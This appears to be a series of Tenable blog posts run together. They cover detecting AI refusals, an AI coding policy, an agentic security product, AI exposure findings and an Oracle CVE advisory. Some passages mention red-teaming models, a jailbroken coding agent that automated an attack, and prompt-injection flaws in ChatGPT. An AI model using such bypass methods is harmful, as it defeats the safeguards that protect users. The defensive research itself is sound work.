However, solely depending on blocking adversarial user input techniques is inadequate, especially since AI models lack the deterministic consistency of traditional systems. Crucially, it’s vital to recognize that for a determined user, a single refusal often serves only as an invitation to try again with a different approach until they succeed.

Model refusals are a crucial warning sign of a tangible security risk. Ignoring them allows risky insiders, such as erratic or malicious employees, as well as malicious actors, such as those utilizing compromised accounts, to engage in unmonitored abuse. Ignoring refusals exposes the company to serious regulatory, privacy, and business risks. 

A significant challenge in detecting model refusal is distinguishing malicious attempts from valid requests limited by the model’s capabilities. We avoid surfacing these false positives by identifying refusals triggered by functional gaps rather than security risks, such as a user asking a text-only model to generate a video or execute a backend script that it isn’t integrated with.

With this challenge in mind, and recognizing the limitations of prompt-only defenses, the Tenable Research team undertook research into the other side of the interaction — not only the user’s risky behavior but also the model’s response. 

What does model refusal look like?

There are several important reasons why an LLM should refuse a user’s request. It should refuse it if the request is clearly harmful, involves a malicious cyber-related request, hints at dangerous or illegal activity, or attempts to gain unauthorized access. All those requests are expected to be refused.

To analyze model refusal types, we compiled thousands of prompts into “refusal” categories. We then red-teamed the models with these risky prompts, expecting them to trigger refusals.

Model refusals can occur for many reasons, which is why our unique detection strategy is built on the defense-in-depth principle. Rather than relying on isolated data points, we treat a model’s refusal as a high-fidelity signal that an incident might be occurring. By correlating these signals with our deep analysis of user inputs and agentic actions, we provide a comprehensive view of your AI’s security posture.

Here are the main takeaways of our analysisDifferent LLMs reply differently

Models vary significantly in their ability to block malicious prompts and in their style of refusal. This inconsistency highlights the need for a comprehensive AI security platform, rather than relying on the inherent behavior of any individual model.

There are different types of refusals

During our research, we categorized several types of refusals by analyzing patterns and semantic fields in the model’s responses, independent of the user’s input. We won’t reveal all categories here to avoid serving adversarial efforts.

One notable type is the “Bold No” — a strong, unambiguous, and forceful refusal. This is typically used in response to requests that are clearly extremely dangerous or harmful.

For instance, when prompted to describe a sexual scene involving minors, the model delivered a firm and clear refusal: “I can’t and won’t provide that content. If you have other questions or topics I can help with, I’m happy to assist.” 

Another significant pattern we identified is the “Empathy” type. This pattern occurs when the user expresses distress (frustration, sadness, or suicidal thoughts), which leads them to make a risky or prohibited request. The model refuses the request but includes compassionate language and may even direct the user to professional help.

A clear example of this is a scenario where a user sent a harmful prompt asking the model to write a speech against a specific ethnic group, threatening self-harm if the model refused. The model refused the hateful content but responded with great sensitivity: 

No organization wants to be on the front page because an employee leaked sensitive data or generated harmful content using corporate AI tools. Model refusal is a clear signal of this risky behavior, and you need to know when it occurs.

What’s next? 

Model refusal is an evolving landscape, and while LLM providers constantly tune their guardrails, a determined user will always hunt for a bypass. Because no single wall is ever enough, a layered defense powered by deep AI-based detection is essential to catch risky behavior before it escalates.

This is why we’ve launched Model Refusal Detection directly into Tenable One AI Exposure. Available now, this capability treats policy refusals as a high-fidelity signal, the “smoke” that often precedes the fire of a full-scale breach. By monitoring these attempts, organizations can identify exactly who is trying to bypass native guardrails, allowing for proactive investigation of potential insider threats or threat actors.

As the newest layer in our detections stack, Model Refusal Detection provides the critical early warning to stay ahead of emerging AI risks. At Tenable, we are committed to ensuring that no signal of malicious intent ever goes unnoticed.

Model Refusal detection in Tenable AI Exposure

Learn more about Tenable AI Exposure.

Get a template for an AI coding acceptable use policy with security controls and a list of 25 security questions to ask software developers and “citizen developers” about their AI use. Mitigate the security risks of vibe coding and using AI in software development with Tenable One.

Key takeaways:

1. The vast majority of your developers are embracing agentic AI, machine learning, and large-language models (LLMs) for code completion and generation, automated testing, code reviews and analysis, and automated documentation, among other use cases.
    
2. “Citizen developers” — business users with little to no coding experience and even less security experience — are also using agents, LLMs, and low-code/no-code (LCNC) platforms to build and deploy software without any security checks.
    
3. While AI coding can be a gateway to innovation and efficiency, it also introduces significant cybersecurity risks. Know the right questions to ask your developers to understand the full scope of AI usage and how it’s reshaping the attack surface.
    
4. Create an AI acceptable use policy (AI AUP) for business users, developers, and DevOps teams; implement training on cybersecurity best practices; and deploy an exposure management platform like Tenable One to reduce the risks of vibe coding, citizen developers, and using AI as part of the SDLC.
    

Your organization’s software developers and DevOps teams are using agentic AI, LLMs, and machine learning to do their jobs faster and more efficiently, whether you like it or not. In fact, 81% of developers surveyed by CodeSignal say they’re using AI for development, and some large tech companies mandate the use of AI for their developers. 

In the most extreme cases, developers and non-developers (so called “citizen developers”) are resorting to vibe coding, where they tell an agent or an LLM what they want the software to do, the LLM or agent builds it, and the “developer” takes the AI code and puts it into production without any vetting or review. 

AI-generated code created on behalf of citizen developers in particular are prone to misconfigurations, excessive data permissions, and weak authentication. 

As you build and implement your organization’s AI acceptable use policy, it’s important to familiarize yourself with the various developer and citizen developer use cases, which can differ greatly from how other employees are leveraging AI. In this blog, learn about:

• The top five AI coding use cases — and the cybersecurity risks they introduce
• Key questions to ask developers and business users about their AI coding usage to gauge risk
• An example of an AI coding governance policy

What are the top 5 uses of AI, LLMs, and machine learning in code creation and development?1. AI-powered code completion and generation 

Integrated development environments (IDEs) incorporate AI coding assistants to provide real-time suggestions. These can include auto-completing the next few words in a line, generating entire functions or code blocks (vibe coding), or even creating boilerplate code based on comments or partial code structure.

Security risks of AI-powered code completion and generation: These practices introduce the risk of insecure code suggestions. AI models trained on vulnerable code often replicate insecure patterns in their suggestions. They also raise concerns about intellectual property leaks if developers are using AI tools that may share proprietary code snippets as training data or in suggestions to other users (depending on the AI tool's license and configuration).

2. Automated testing and test case generation

Developers use AI and ML tools to analyze existing code, documentation, and user interaction patterns to automatically generate unit tests, integration tests, and even security tests. One famous example is Anthropic using its Claude Opus 4.6 model to discover 500 high-severity vulnerabilities in open source codebases. 

AI tools can also prioritize which existing tests to run based on changes made to the code, significantly speeding up the continuous integration (CI) process.

Security risks of using AI to test software: While helpful, the quality of AI-generated tests can vary. An LLM may fail to generate tests that cover subtle logic flaws or security vulnerabilities, leading to a false sense of security. Human review of security-critical tests remains essential. Additionally, a significant drawback of using an LLM to discover security vulnerabilities in software is that does so without any meaningful prioritization, resulting in even more noise for security and DevSecOps teams.

3. Code review, analysis, and refactoring

LLMs can review pull requests by summarizing changes, identifying potential bugs, checking code against organizational style guides, and suggesting optimizations or refactoring. Developers also use them to explain complex or legacy code in natural language, reducing onboarding time and maintenance effort.

Security risks of using AI for code review, analysis, and refactoring: AI reviewers configured for static application security testing (SAST) will scan for known security vulnerabilities and suggest fixes. However, they might miss contextual vulnerabilities specific to your application architecture or suggest remediation that, while fixing one issue, introduces a new, subtle one.

4. Automated documentation and summarization

Developers use LLMs to automatically generate function docstrings, API reference material, and README files from source code. In a DevOps context, these tools can also summarize long log files or incident reports to quickly identify root causes and patterns.

Security risks of using AI to create documentation: AI-generated documentation can sometimes be inaccurate or incomplete, especially for complex security features or custom encryption logic. Relying solely on these tools for critical security documentation can lead to misunderstandings and misconfigurations.

5. Natural language-to-infrastructure generation

DevOps teams use LLMs to translate natural language requests (e.g., "Deploy a three-tier web application using AWS, with a PostgreSQL database and a load balancer") into working infrastructure-as-code (IaC) configurations (e.g., Terraform or CloudFormation scripts). This significantly accelerates the provisioning of environments.

Security risks of using AI for natural language-to-infrastructure generation: This is a major area of risk. LLMs may generate IaC scripts that contain insecure defaults (e.g., overly permissive firewall rules, unencrypted storage, or unsecure port configurations) if not explicitly prompted otherwise. Integrate mandatory security checks and scanning tools into the continuous integration/continuous development (CI/CD) pipeline to validate all AI-generated IaC.

As developer and coding use cases get augmented with agentic capabilities, leading to the semi-autonomous or fully autonomous execution of software development and testing tasks, the security situation is only going to get worse.

What should I ask my developers and DevOps teams about their AI usage?

The primary areas of AI security risk for CISOs are: 

• Agentic coding, vibe coding, and citizen developers
• Code integrity and security debt
• Legal and supply chain
• Data privacy and IP 

Below are key questions to ask your DevOps teams to help you assess your organization’s risk in each of these areas. 

1. Questions to ask developers to assess the risks of agentic coding and vibe coding

According to an October 2025 McKinsey report, business leaders are rushing to embrace agentic AI. For developers, tools like OpenClaw, Cursor, and GitHub Copilot Workspace can execute commands without human intervention, raising concerns about the permissions these tools hold. 

Questions to ask your developers: 

• What identity is the AI acting as?
• Is the AI tool running in a sandboxed environment, or can it read the .env files on a developer's machine?
• Is there a human in the loop for every deployment?
• Can the AI autonomously push code to a repository, or is a human review mandatory?
• Is AI-generated code deployed straight to production?
• What kind of testing is performed on AI-generated code?

2. Questions to ask developers about how they handle code integrity and security debt in AI coding

Like much of the output from AI tools, AI-generated code is often functional but flawed. It’s entirely possible that it may reintroduce long-running vulnerabilities like SQL injection or insecure hardcoded secrets. 

Questions to ask your developers: 

• Are we tagging AI-generated code?
• How do we identify which parts of the codebase were written by AI for future audits or incident response?
• Has our security-to-code ratio changed?
• If AI is helping us write code 20% faster, are we also increasing our security scanning capacity by 20% to keep up?
• How are we handling hallucinated libraries?
• What is the process for verifying that the packages or APIs the AI suggests actually exist and aren't malicious typosquatting packages?

3. Questions to help you assess the legal and supply chain risks of AI coding

Using AI-generated code can introduce legal risks such as violating copyrights and licenses. It also raises the stakes for supply chain risk, potentially passing flaws and vulnerabilities to your customers. 

Questions to ask your developers: 

• Are we accidentally violating GPL/AGPL licenses?
• Does the AI tool you’re using have a copyleft filter to prevent it from suggesting code that would require us to open-source our own product?
• Can the AI vendor indemnify us against copyright claims?
• If the AI produces code that is a direct copy of a copyrighted work, who is legally liable?
• Do we have a software bill of materials (SBOM) for AI-assisted builds?
• Can we prove to our customers exactly what went into the software we sold them?

4. Questions to help you assess the data privacy and IP considerations of AI coding

Are your developers accidentally leaking your company's proprietary code, API keys, or customer data into public AI models? You can mitigate some of this risk by restricting all employees to a closed enterprise-grade platform like ChatGPT Enterprise. Even so, it’s important to be clear about the scope of any tools.

Questions to ask your developers:

• What tools are you using? Are they approved?
• Is the vendor using our proprietary code to train their global model?
• Have we opted out of data improvements?
• Are you using personal ChatGPT accounts or unvetted browser extensions instead of enterprise-sanctioned tools?
• What happens to the data in the prompt history?
• Who has access to it?
• Does the vendor delete it after a certain period?

What to include in an AI coding acceptable use policy?

Here is a brief overview of key AI governance and AI accountability policies to consider:

Policy areaSpecific policyControl implementationMonitoringDevelopers understand their use of AI is monitored for compliance with the organization’s broader AI acceptable use policy, including use of approved and unapproved tools, as well as for data leaks, secrets detection, hallucinated libraries, malicious prompts, etc.Implement a platform capable of discovering AI in its various forms (agents, plugins, extensions, LLMs, etc.) a across the entire organization — internal and external, on-prem and cloud, approved and unapproved — delivering a complete, risk-aware view of where AI operates, how it is connected, and where exposure is created. Developer accountabilityThe developer who reviews, modifies, and commits the AI-generated code is fully accountable for its security, compliance, and legal standing (including licensing).Incorporate this principle into your security awareness training and update your secure software development lifecycle (SSDLC) documents to reflect AI usage as a new form of third-party input.Compliance and licensingScrutinize AI-generated code for potential open-source license infringement (a risk when AI models reproduce training code).Use software composition analysis (SCA) tools and human legal review to check any significant AI-generated code block against your organization’s open-source licensing policies.Training and awarenessAll developers must complete annual training on the specific security risks of LLMs, including hallucination, prompt injection, and data leaks.Create a modular training program focused on AI-specific secure coding patterns and the risks of developer overconfidence in AI-generated code.Vibe codingDecide if your organization will allow vibe coding, and if so, for what use cases. For instance, you may opt to allow vibe coding for the development of personal productivity scripts and wireframes but not for production systems, customer-facing systems, or any applications that touch sensitive customer, employee, or intellectual property data. Consider implementing controls for environmental isolation, AI-generated test coverage, traceability, and verification gating. Agentic AI policyAny use of agentic AI (where an LLM can perform multi-step actions autonomously, like creating a pull request or deploying IaC) must have strict, predefined guardrails, including requirements for human-in-the-loop (HITL), and run in a sandboxed, low-privilege environment.Require explicit security architecture review and approval before introducing any autonomous AI agent into the CI/CD pipeline.

Source: Tenable, January 2026

Keep your innovation going with exposure management

As developers and business users embrace AI coding, you don't have to make them choose between innovation and security. Establishing an AI acceptable use policy for developers, providing them with sanctioned and secure AI platforms to use, educating them about cybersecurity best practices, and monitoring their use of AI tools will reduce your organization’s risk. 

Tenable AI Exposure continuously discovers AI across your entire organization — approved and unapproved, internal and external, on-premises and cloud — to deliver a complete, risk-aware view of:

• where developers and others are using approved or unapproved AI tools;
• what they’re using AI for (e.g., prompt-level visibility);
• whether they’re intentionally or accidentally leaking proprietary code, API keys, customer data, or other sensitive information into public AI models;
• how AI applications, agents, plugins, and extensions connect to your organization’s systems and data to create real risk. 

In short, Tenable One correlates the relationships among AI applications, infrastructure, identities, agents, and data to highlight and prioritize the AI exposures that matter most for remediation.

Use Tenable One to: 

• Discover AI running inside your organization, whether it’s approved, unapproved, or embedded. Maintain a unified, up–to-date view of AI software, libraries, models, and services operating across your organization. See which AI components are outdated, vulnerable, or misconfigured so you can prioritize remediation based on real risk.
• Protect AI workloads and agents. Identify and prioritize risky configurations in cloud-based AI workloads and model environments that could expose models, agents, data, or APIs.
• Detect and respond to prompt injection attempts, jailbreak behavior, and malicious instructions designed to manipulate AI systems. Isolate erratic and misbehaving agents.
• Govern AI usage. Identify sensitive data, intellectual property, and PII being shared with AI platforms and agents. Surface AI-related risks with precise context, including the AI engine, user, and specific interaction or session involved, enabling rapid understanding and response.

Unlike point AI security tools that surface isolated findings, Tenable One correlates AI, infrastructure, agents, and data exposure into a unified view, so you can reduce AI risk across all environments, even as your developers leverage AI for scale and productivity. 

Learn more

• See how Tenable AI Exposure can help you uncover AI coding risks and remediate issues without slowing innovation.

Meet Tenable Hexa AI: the agentic engine of the Tenable One Exposure Management Platform. Learn how Tenable Hexa AI automates complex security workflows and transforms exposure intelligence into coordinated action to help your security team meaningfully reduce cyber risk.

Key takeaways

1. Tenable Hexa AI empowers defenders by radically reducing operational workloads, allowing security teams to shift from reactive firefighting to preemptive exposure management. By orchestrating complex security actions across humans, automation, and agents, Tenable Hexa AI enables organizations to stay steps ahead of threat actors who are leveraging AI to accelerate discovery, exploitation, and exfiltration.
    
2. Powered by Tenable’s Exposure Data Fabric, Tenable Hexa AI is the agentic engine of the Tenable One Exposure Management Platform. Tenable Hexa AI automates complex security workflows, transforms exposure intelligence into coordinated action to reduce cyber risk, and enables security teams to meet the speed of AI-assisted attacks.
    
3. Hexa AI combines machine speed with human control, to the extent desired by customers. It empowers proactive security teams to shift from reactive firefighting to preemptive risk reduction, while allowing them to dial in the exact level of automation they trust — whether that means full autonomous execution or strategic manual oversight.
    

 

 

In the time it takes you to read this blog, an AI-assisted attacker can scan your environment searching for entry points, gain initial access by exploiting a vulnerability or misconfiguration, perform recon, move laterally, elevate their privileges, and breach your organization’s sensitive data — all before your reactive threat detection and response tools can piece together what’s happening and trigger an alert. 

This isn’t a theoretical risk. 

In November 2025, Anthropic revealed that a threat actor had jailbroken Claude Code and used it to automate as much as 90% of a targeted attack, executing “thousands of requests, often multiple per second” and achieving an attack speed the company says would have been impossible for human hackers — or defenders — to match. 

For the modern defender, the math no longer adds up: manual triage, spreadsheet-based remediation, and siloed tools cannot win a race against machine-speed exploitation as security teams struggle to coordinate and automate workflows involving humans, automation — and increasingly — AI agents. 

The challenge of keeping pace with the speed of attacks, vulnerability discovery, exploitation, and attack surface expansion demands a new security operating model and a new approach to reducing cyber risk. Exposure management delivers this new approach, and Tenable Hexa AI, introduced today with a fleet of mission-ready agents, ushers in a new operating model.

What is Tenable Hexa AI? What does it do? 

Tenable Hexa AI is the agentic engine of the Tenable One Exposure Management Platform. 

Built to transform your security operating model for the AI era, Tenable Hexa AI:

• coordinates AI agents, human approvals, and workflows into a single agentic orchestration engine;
• automates complex tasks and security workflows, such as building risk dashboards, tagging assets, configuring vulnerability assessments, isolating a risky asset and more, in seconds;
• transforms exposure intelligence into coordinated action to reduce cyber risk. 

While Tenable Hexa AI handles the execution of complex, multi-step workflows at machine scale, it is designed to give you complete control and transparency. With Tenable Hexa AI, you and your team maintain control over when to proceed with complete automation and when you need a human in the loop. And everything Tenable Hexa AI does is logged, so you can always audit any action it takes with or without human supervision. 

Machine speed. Human judgement. One engine. That’s Tenable Hexa AI.

What customers say about Tenable Hexa AI

Tarek Houni, Head of Exposure Management at an international manufacturing company based in France, says “Tenable Hexa AI has fundamentally shifted how we deploy our security resources, powering and scaling efficiency across workflows.” 

He notes that the automation and orchestration capabilities have made his team more efficient and enabled them to refocus on activities that drive meaningful cyber risk reduction for their organization. 

“Reclaiming two days a month on a single process like asset tagging is a massive win for our team,” he says. “That is two days our team no longer spends on tedious upkeep, and can instead redirect entirely toward investigating exposures, closing critical gaps, and actively reducing our organizational risk.” 

Capabilities of Tenable Hexa AI 

The capabilities of Tenable Hexa AI fall into three main categories: assessment configuration, risk intelligence, and advanced workflow orchestration. With Tenable Hexa AI, you can use Tenable-built AI agents, build your own custom agents, and orchestrate both to meet your needs. And with Model Context Protocol (MCP) built in, Hexa AI acts as a universal adapter, allowing you to use our fleet of agents and build custom logic that connects your specific business tools to any LLM.

1. Assessment configuration

The foundation of any security program is a clear understanding of the environment. Tenable Hexa AI removes the administrative friction required to organize your attack surface and deploy assessments.

Tenable Hexa AI categorizes assets at scale by suggesting identification schemas based on your specific environmental context and owner data. For organizations with established frameworks, you can integrate your existing data by uploading a CSV and providing a simple instruction: “Apply this schema to all matching assets in our environment.” The transition from manual categorization to automated organization happens in seconds. By streamlining the configuration of these assessments, Tenable Hexa AI ensures you can achieve visibility across your entire attack surface, reducing the blind spots that lead to security surprises.
 

 

1. Risk intelligence

Security data is most effective when it is tailored to your specific business needs. These capabilities transform raw metrics into prioritized intelligence that reflects your unique operational reality.

Rather than spending hours manually configuring reports, Tenable Hexa AI can generate immediate visualizations of your posture by simply asking Tenable Hexa AI to “Build a dashboard showing all current risks in my environment.” Because global vulnerability scales don't always reflect local business impact, the system allows you to define rules that adjust severity or accept risks based on your specific context. This ensures your team is focused on remediation where it matters most. This intelligence extends into cloud environments, where plain-language queries provide instant insights into cloud assets and over-privileged users, moving you from a question to an answer in a single step.
 

 

1. Advanced workflow orchestration

To bridge the gap between identifying a risk and resolving it, Tenable Hexa AI handles the execution of complex, multi-step tasks across your ecosystem.

Tenable Hexa AI carries out workflows based on your intent, whether you are reconciling data from disparate sources or automating a sequence of administrative tasks like adjusting risk levels or configuring new scans. While the platform manages the heavy lifting of these sequences, you dictate the exact level of human oversight required. Tenable Hexa AI combines machine speed with human control, to the extent desired by customers. With Tenable Hexa AI, you and your team maintain control over when to proceed with complete automation and when you need a human in the loop. 

For organizations seeking flexibility, we have built in support for Model Context Protocol (MCP), allowing Tenable Hexa AI to act as a universal adapter. By leveraging our fleet of agents, you can build custom logic that connects your specific business and security tools to any LLM, using Tenable One to orchestrate actions to reduce risk and keep your organization safe.

What distinguishes Tenable Hexa AI from other agentic AI security tools? 

The agentic action capabilities that set apart Tenable Hexa AI from conventional security chatbots are built on Tenable’s Exposure Data Fabric, the industry’s most comprehensive repository of contextualized exposure data, gleaned from our native sensors deployed across over 40,000 customer environments. 

Tenable sensors collect data across IT, OT, and cloud environments about assets, identities, vulnerabilities, misconfigurations, and AI systems, including the LLMs our customers are using.

The breadth and depth of data that makes up Tenable’s Exposure Data Fabric is the product of years of ingestion, normalization, and contextual enrichment across IT, cloud, OT, identity, and AI environments, and it cannot easily be replicated. The Exposure Data Fabric provides the authoritative context enabling Tenable Hexa AI to:

• understand how vulnerabilities, identities, assets, configurations, and AI systems across your attack surface interact to create exposure;
• determine which exposures create the most risk for your organization;
• validate the real security posture of your environment;
• orchestrate the steps required to close your organization’s highest-risk exposures. 

Tenable’s Exposure Data Fabric makes agentic AI for preemptive security possible. Without this depth and breadth of data, agents can only guess what action to take. With it, they’re capable of reasoning across your exposure landscape and helping to move security operations beyond reactive response to consistent, machine-speed risk reduction.

The next phase of AI in security isn’t about using a chatbot to get answers to basic questions. It’s about shifting the cybersecurity operating model from humans orchestrating tools to AI orchestrating tools under human direction. This is the agentic shift: AI that doesn’t just inform, but acts to fundamentally change your team’s capacity to reduce risk.

Experience the shift at RSAC 2026

Tenable Hexa AI is currently in private preview for select Tenable One customers.

• Visit us: See the live demo at Booth #6155 (North Expo Hall), RSA Conference 2026.
• Get access: Contact your Tenable Account Team to join the private preview program.

Want to learn more? Download the Tenable Hexa AI data sheet to get the full technical breakdown of our agentic capabilities and read the press release to learn about Tenable's vision for the future of proactive risk reduction and AI-powered exposure management.

AI isn’t just moving fast. It’s creating new attack paths. Cyber teams must now manage vulnerabilities – and their ramifications throughout their IT environments – in AI tools deployed without enough governance guardrails. The answer for securing this new attack surface? Unified exposure management.

Key takeaways

1. AI as an attack vector: By connecting to core workflows and sensitive cloud data, AI models have transformed from isolated targets into active attack vehicles.
2. The AI governance gap: Rapid deployment has outpaced security controls, resulting in high-risk ecosystems plagued by over-privileged access, inactive “ghost” identities, and vulnerable software supply chains.
3. Unified exposure management is essential: Securing AI requires abandoning siloed security dashboards in favor of unified exposure management that maps the complex web of interactions, identities, and permissions surrounding the models.

Most organizations have focused their AI efforts on speed, prioritizing fast adoption and experimentation to boost productivity. However, a different reality is emerging for cybersecurity teams. 

While AI creates rapid business value, it also introduces a new class of cyber exposure that extends far beyond large language models (LLMs) and expands the existing attack surface. The result? It’s now much harder to secure the organization’s entire IT environment. 

Vulnerabilities in popular AI models

Cybersecurity teams are now fully aware that the AI tools their employees are using contain serious vulnerabilities.

Tenable Research recently uncovered seven vulnerabilities and attack techniques in OpenAI’s ChatGPT, including indirect prompt injection, persistence, evasion, bypassing of safety mechanisms, and the exfiltration of personal user information. These flaws could have allowed attackers to stealthily extract private information from users’ memories and chat history.

In a separate study, Tenable Research discovered three vulnerabilities in Google Gemini that exposed users to serious privacy risks across Cloud Assist, Search Personalization, and the Browsing Tool. Again, the significance of the discovery went beyond the specific vulnerabilities. It showed that AI itself can become the attack vector and not merely the target. 

When AI systems connect to search functions, cloud logs, saved preferences, tools, and browsing services, the model can become part of the attack path to sensitive data. The risk is no longer confined to protecting the model from misuse. You must understand how threat actors can manipulate the model to reach into its surrounding environment.

Moreover, the risk does not begin and end with AI-native tools alone. Vulnerabilities in connected data platforms can also create downstream AI exposure, including the potential for data poisoning. Take Tenable Research’s recent discovery of nine novel flaws in Google Looker Studio, a popular business intelligence tool. Those vulnerabilities, which we collectively named “LeakyLooker,” could have allowed attackers to expose, alter, and delete sensitive cloud data.

AI tools are getting incorporated into orgs’ critical operations

According to the recent “Tenable Cloud and AI Security Risk Report 2026,” 70% of organizations now depend on AI and model context protocol packages as core components of their production cloud stack. 

What’s more, Deloitte’s “State of AI in the Enterprise” report, published in January, suggests that this shift is happening fast. Employee access to AI rose by 50% in 2025, and the number of companies with 40% or more in-production AI projects is expected to double in the next six months, according to the Deloitte report.

In other words, the environments in which these risks could play out are no longer on the edge of the business as pilot programs or proof-of-concept trials. They are being embedded into live environments, connected to the core workflows, and increasingly relied upon to support daily operations. 

Unfortunately, governance has not kept pace with deployment. In many organizations, AI is being operationalized faster than security teams can fully map, assess, or control the risk it introduces. It has gone from an experimental side project to mimicking the actions of a full-time employee before organizations have even set their security permissions. This gap is particularly critical in the case of agentic AI tools, which are designed to act autonomously. 

The critical importance of AI governance

Governing AI usage requires organizations to clearly define which AI services employees are allowed to use and to prevent sensitive data from being sent to external models. The following example, detected by Tenable AI Exposure, part of the Tenable One Exposure Management Platform, shows a real case of an employee attempting to access sensitive company information, followed by an attempt to exfiltrate that data through an external AI service.
 

This is more than a visibility problem. In some environments, it is already a problem of overprivileged identities. The “Tenable Cloud and AI Security Risk Report 2026” found that 18% of organizations have granted AI services administrative permissions that are rarely audited, creating a ready-made set of elevated privileges that attackers could exploit.

And that risk does not sit neatly within the model itself. Much of the danger lies in the surrounding infrastructure, such as the identities and permissions that support AI services behind the scenes.

More than half (52%) of non-human identities hold excessive permissions, while 37% are inactive “ghost” identities, according to the Tenable report. In AWS environments specifically, 73% of Amazon SageMaker roles and 70% of Bedrock agent roles were found to be inactive. On paper, those roles may look harmless or forgotten. In practice, they represent dormant access paths that can expand the blast radius of an incident. 

This is what makes AI risk so difficult to contain. The exposure is often buried in the machine identities, inherited privileges, and back-end connections that most organizations are not closely watching. 

The same pattern appears in the software supply chain. AI systems do not operate in isolation. They are built on layers of third-party code, open-source packages, external integrations, and access to providers. That creates another set of dependencies that can quietly widen risk. 

In the Tenable report, we found that 86% of organizations have at least one third-party code package with a critical vulnerability, while 13% have deployed third-party packages with a known history of compromise. 

Add to that the finding that 53% of organizations have granted third parties access to internal systems via external accounts with highly risky, excessive permissions, and the AI risk picture becomes clearer. 

These findings show that AI exposure isn’t limited to what a model might do. It extends to the broader ecosystem, such as the code, access, and trust relationships that attackers may be able to exploit long before anyone notices.

Manage AI risk with exposure management

Because AI security risks are often created through the interactions of AI tools with surrounding infrastructure and identities, managing these risks requires more than just siloed monitoring of AI tools. It demands a new approach, not another disconnected dashboard telling security teams that AI exists in their environment. That new approach is exposure management.

Exposure management gives CISOs the big picture. It enables their teams to proactively identify, prioritize, and close their organization's highest-risk cyber exposures — the vulnerabilities, misconfigurations, and identity weaknesses that combine to create attack paths leading to their organization's most sensitive systems and data. It gives them visibility and context across their entire attack surface — IT, OT, cloud, identities, and AI — so they can see AI security risks alongside IT, OT, cloud, and identity security risks and the ways in which they combine.

With exposure management, you’re able to not just detect the AI systems your employees are using, but also more deeply how they’re using them, and where AI workloads, agents and tools are running. Critically, exposure management also surfaces how these systems, via the interconnectedness with other assets, expand your cyber risk.

Here’s what we’ve found regarding the prevalence of AI in real-world scenarios. Among Tenable customers that had at least one security finding over the past year, 54% had AI tools in their environments. The most commonly detected tool was Google Gemini, followed by ChatGPT and Anthropic’s Claude. At least 1% of these customers had ClawdBot present in their environments, which could introduce disproportionate risk due to its access to sensitive data, and ability to take actions across systems.

But, as stated before, visibility alone is not enough, organizations need context. To effectively reduce risk, they need to understand what the workload can access, which permissions it requires, what external dependencies it introduces, and how attackers might chain those elements together into a real path to breach.

In short, the conversation should no longer focus on securing AI as a standalone innovation project. Security teams should zero in on securing the full web of relationships around it. 

In this AI era, exposure does not start and end with an AI model. It sits in the identities attached to it, the code feeding it, the cloud services extending it, and the data it can quietly reach. As organizations adopt AI at full speed, cybersecurity teams must focus on detecting the exposures that come with it before attackers do.

Download the "Tenable Cloud and AI Security Risk Report 2026."

Oracle published an out-of-band security alert for a critical vulnerability in Oracle Identity Manager and Oracle Web Services Manager, following in-the-wild exploitation of a related flaw in the same component in November 2025.

Key takeaways:

1. CVE-2026-21992 is a critical remote code execution vulnerability in Oracle Identity Manager and Oracle Web Services Manager with a CVSSv3 score of 9.8.
    
2. The vulnerability is remotely exploitable without authentication, and Oracle issued an out-of-band security alert outside of its regular quarterly Critical Patch Update cycle.
    
3. A related vulnerability in Oracle Identity Manager's REST WebServices component, CVE-2025-61757, was exploited in the wild and added to CISA's KEV catalog in November 2025.

Background

On March 19, Oracle published an out-of-band security alert for a critical vulnerability in two Oracle Fusion Middleware products:

CVEDescriptionCVSSv3CVE-2026-21992Oracle Fusion Middleware Remote Code Execution Vulnerability9.8

Oracle rarely issues out-of-band security alerts, reserving them for vulnerabilities that warrant attention outside of its quarterly Critical Patch Update (CPU) cycle. The next scheduled CPU is April 2026.

Analysis

CVE-2026-21992 is a remote code execution vulnerability affecting two Oracle Fusion Middleware products: Oracle Identity Manager and Oracle Web Services Manager. An unauthenticated, remote attacker could exploit this vulnerability over HTTP to achieve code execution on a vulnerable system. The vulnerability has a CVSSv3 score of 9.8.

The vulnerability affects different components in each product. In Oracle Identity Manager, the affected component is REST WebServices. In Oracle Web Services Manager, the affected component is Web Services Security.

Out-of-band advisory signals elevated risk

Oracle describes its Security Alerts as fixes "deemed too critical to wait for distribution in the next Critical Patch Update." Oracle has issued approximately 31 Security Alerts since 2010, averaging about two per year. The decision to release CVE-2026-21992 as an out-of-band Security Alert rather than waiting for the next quarterly CPU in April 2026 is significant.

This is only the second out-of-band Security Alert Oracle has issued for Oracle Identity Manager. The first, CVE-2017-10151, was a CVSS 10.0 default account vulnerability that allowed complete compromise of Identity Manager via an unauthenticated network attack.

The urgency may be related to CVE-2025-61757, a pre-authentication RCE in Oracle Identity Manager patched in Oracle’s October 2025 CPU and added to CISA's Known Exploited Vulnerabilities (KEV) catalog in November 2025.

Researchers at Searchlight Cyber published details describing CVE-2025-61757 as an authentication bypass in Identity Manager's REST WebServices component, calling it "somewhat trivial and easily exploitable by threat actors." While CVE-2026-21992 affects the same product, component and versions, Oracle has not confirmed whether the two are related. Oracle has also not disclosed whether CVE-2026-21992 has been exploited in the wild.

Historical exploitation of Oracle Fusion Middleware vulnerabilities

Oracle Fusion Middleware has six vulnerabilities in CISA's KEV catalog. Oracle has 42 total entries across all products in the catalog.

CVEDescriptionDate AddedCVE-2025-61757Oracle Fusion Middleware Missing Authentication Vulnerability (Identity Manager)2025-11-21CVE-2021-35587Oracle Fusion Middleware Access Manager Takeover Vulnerability2022-11-28CVE-2020-2551Oracle Fusion Middleware WebLogic Server Vulnerability2023-11-16CVE-2012-1710Oracle WebCenter Forms Recognition Vulnerability2022-05-25CVE-2012-0518Oracle Application Server Single Sign-On Vulnerability2022-03-28CVE-2012-3152Oracle Fusion Middleware Reports Developer Vulnerability2021-11-03Proof of concept

At the time this blog post was published, there was no public proof-of-concept (PoC) available for CVE-2026-21992.

Solution

Oracle has released patches for the following affected products:

Affected ProductsCVEAffected VersionsOracle Identity ManagerCVE-2026-2199212.2.1.4.0, 14.1.2.1.0Oracle Web Services ManagerCVE-2026-2199212.2.1.4.0, 14.1.2.1.0

Patch details are available through the Patch Availability Document for Fusion Middleware.

Identifying affected systems

A list of Tenable plugins for this vulnerability can be found on the individual CVE page for CVE-2026-21992 as they're released. This link will display all available plugins for this vulnerability, including upcoming plugins in our Plugins Pipeline.

Additionally, customers can utilize Tenable Attack Surface Management to identify public facing assets using the following query: Web Servers equals Oracle WebLogic Server

 Get more information

• Oracle Security Alert Advisory - CVE-2026-21992
• Breaking Oracle's Identity Manager: Pre-Auth RCE (CVE-2025-61757)

